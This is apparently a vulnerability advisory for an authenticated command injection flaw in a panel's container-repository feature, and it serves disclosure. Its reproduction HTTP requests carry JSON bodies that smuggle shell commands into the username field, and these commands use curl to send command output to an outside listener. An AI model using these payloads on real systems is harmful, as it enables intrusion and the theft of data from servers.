### Impact

The authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.

1. Vulnerability analysis.

“`
backendappapiv1image_repo.go#create
“`

“`
backendappserviceimage_repo.go#CheckConn
“`

2. vulnerability reproduction.

“`
POST /api/v1/containers/repo HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN:
Content-Length: 446
Origin: https://192.168.109.152:40982
Connection: close
Referer: https://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
“`

“`
{“id”:2,”createdAt”:”2023-04-13T19:57:43.633643247-07:00″,”name”:”asdasd”,”downloadUrl”:”127.0.0.1:8080″,”protocol”:”http”,”username”:”admin||curl https://192.168.109.1:12345/`ls`||”,”auth”:true,”status”:”Failed”,”message”:”stderr: WARNING! Using –password via the CLI is insecure. Use –password-stdin.nError response from daemon: Get “https://127.0.0.1:8080/v2/”: dial tcp 127.0.0.1:8080: connect: connection refusedn”,”password”:”Passw0rd”}
“`

3. Using update can be triggered multiple times.

“`
POST /api/v1/containers/repo/update HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN:
Content-Length: 447
Origin: https://192.168.109.152:40982
Connection: close
Referer: https://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
“`

“`
{“id”:2,”createdAt”:”2023-04-13T19:57:43.633643247-07:00″,”name”:”asdasd”,”downloadUrl”:”127.0.0.1:8080″,”protocol”:”http”,”username”:”admin||curl https://192.168.109.1:12345/`pwd`||”,”auth”:true,”status”:”Failed”,”message”:”stderr: WARNING! Using –password via the CLI is insecure. Use –password-stdin.nError response from daemon: Get “https://127.0.0.1:8080/v2/”: dial tcp 127.0.0.1:8080: connect: connection refusedn”,”password”:”Passw0rd”}
“`

Affected versions: Read More